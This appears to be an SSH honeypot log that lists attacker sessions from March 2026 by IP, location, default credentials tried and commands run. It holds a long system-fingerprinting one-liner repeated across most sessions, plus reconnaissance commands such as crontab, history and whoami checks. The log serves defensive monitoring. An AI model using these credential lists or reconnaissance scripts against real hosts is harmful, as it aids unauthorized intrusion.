$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 liberty_root_19 (147.182.200.67) β€” Santa Clara, United States Β· 2 sessions Β· 8 cmds
2026-03-04 08:36 EST Β· as root/12345678, root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 scone_root_5 (157.245.36.252) β€” Slough, United Kingdom Β· 15 sessions Β· 60 cmds
2026-03-04 06:29 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 15x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—15
$ uname -s -v -n -m 2 > /dev/null Γ—15
$ uname -m 2 > /dev/null Γ—15
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—15
🎭 crumpet_root_5 (143.110.160.198) β€” Slough, United Kingdom Β· 3 sessions Β· 12 cmds
2026-03-04 06:31 EST Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 yankee_root_7 (167.71.115.113) β€” Santa Clara, United States Β· 5 sessions Β· 40 cmds
2026-03-03 09:41 EST Β· as root/1234, root/admin, root/admin123
persistence setup β†’ history snooping
$ ls -la / Γ—2
$ crontab -l 2>/dev/null | head -5 Γ—3
↳ persistence setup
$ pwd Γ—3
$ ps aux | head -15 Γ—4
$ history | tail -5 Γ—3
↳ history snooping
$ ssh -V
$ df -h / 2>/dev/null | tail -1 Γ—2
$ cat /etc/issue 2>/dev/null Γ—2
$ last -n 3 2>/dev/null | head -3 Γ—4
$ ls /dev | wc -l Γ—2
$ grep MemTotal /proc/meminfo 2>/dev/null
$ cat /proc/version 2>/dev/null
$ ls /opt 2>/dev/null Γ—2
$ grep 'model name' /proc/cpuinfo 2>/dev/null | head -1 Γ—2
$ cat /etc/os-release 2>/dev/null | head -6 Γ—2
$ ls /var/log 2>/dev/null | wc -l Γ—2
$ whoami
↳ privilege check
$ mount | head -5
$ uname -a Γ—2
↳ OS/kernel identification
🎭 chai_sol (139.59.84.48) β€” Bengaluru, India Β· 16 sessions Β· 16 cmds
2026-03-04 00:47 EST Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 16x across 16 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—16
🎭 phantom_root_47 (47.243.227.105) β€” Hong Kong, Hong Kong Β· 1 session Β· 1 cmd
2026-03-03 23:10 EST Β· as pi/pi
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 stein_sol (164.90.209.94) β€” Frankfurt am Main, Germany Β· 16 sessions Β· 16 cmds
2026-03-03 21:33 EST Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 16x across 16 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—16
🎭 windmill_sol_3 (45.148.10.192) β€” Amsterdam, Netherlands Β· 33 sessions Β· 33 cmds
2026-02-28 13:23 EST Β· as sol/sol, solana/solana, validator/validator
Ran uname 66x across 66 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—33
↳ obfuscated system check
🎭 scone_root_17 (68.183.47.95) β€” Slough, United Kingdom Β· 6 sessions Β· 24 cmds
2026-03-03 14:52 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 sensei_root_3 (34.84.162.177) β€” Tokyo, Japan Β· 1 session Β· 1 cmd
2026-03-03 14:43 EST Β· as root/admin
ls
$ ls -la /dev/null 2>/dev/null
🎭 blitz_root_6 (164.92.254.103) β€” Frankfurt am Main, Germany Β· 9 sessions Β· 36 cmds
2026-03-03 14:03 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 9x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—9
$ uname -s -v -n -m 2 > /dev/null Γ—9
$ uname -m 2 > /dev/null Γ—9
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—9
🎭 cowboy_root_16 (67.205.149.28) β€” North Bergen, United States Β· 6 sessions Β· 24 cmds
2026-03-03 14:02 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 gouda_root_14 (104.248.197.4) β€” Amsterdam, Netherlands Β· 3 sessions Β· 12 cmds
2026-03-03 12:50 EST Β· as pi/raspberry, root/admin, ubuntu/ubuntu
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 tea_root_13 (209.97.136.70) β€” Slough, United Kingdom Β· 2 sessions Β· 8 cmds
2026-03-03 12:57 EST Β· as root/1234, root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 ghost_root_77 (78.128.112.74) β€” Sopot, Bulgaria Β· 1 session Β· 1 cmd
2026-03-03 12:52 EST Β· as admin/admin123
echo
$ echo 'SSH check'
🎭 reef_root_5 (209.38.93.66) β€” Sydney, Australia Β· 1 session Β· 4 cmds
2026-03-03 12:40 EST Β· as root/1234
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 star_root_19 (157.245.131.138) β€” North Bergen, United States Β· 4 sessions Β· 16 cmds
2026-03-03 11:30 EST Β· as root/12345678, root/admin, root/admin123
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 stein_root_20 (209.38.252.191) β€” Frankfurt am Main, Germany Β· 7 sessions Β· 28 cmds
2026-03-03 10:37 EST Β· as admin/admin, root/1234, root/12345678
export β†’ uname β†’ cat (repeated export 7x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—7
$ uname -s -v -n -m 2 > /dev/null Γ—7
$ uname -m 2 > /dev/null Γ—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—7
🎭 spice_root_12 (139.59.25.6) β€” Bengaluru, India Β· 2 sessions Β· 8 cmds
2026-03-03 10:42 EST Β· as root/1234, root/12345678
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 beefeater_root_7 (134.209.189.119) β€” Slough, United Kingdom Β· 11 sessions Β· 44 cmds
2026-03-03 09:36 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 11x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—11
$ uname -s -v -n -m 2 > /dev/null Γ—11
$ uname -m 2 > /dev/null Γ—11
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—11
🎭 monsoon_root_9 (159.89.172.237) β€” Bengaluru, India Β· 8 sessions Β· 32 cmds
2026-03-03 09:43 EST Β· as deploy/deploy, guest/guest, mysql/mysql
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 blitz_root_8 (161.35.210.128) β€” Frankfurt am Main, Germany Β· 10 sessions Β· 40 cmds
2026-03-03 09:05 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 10x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo 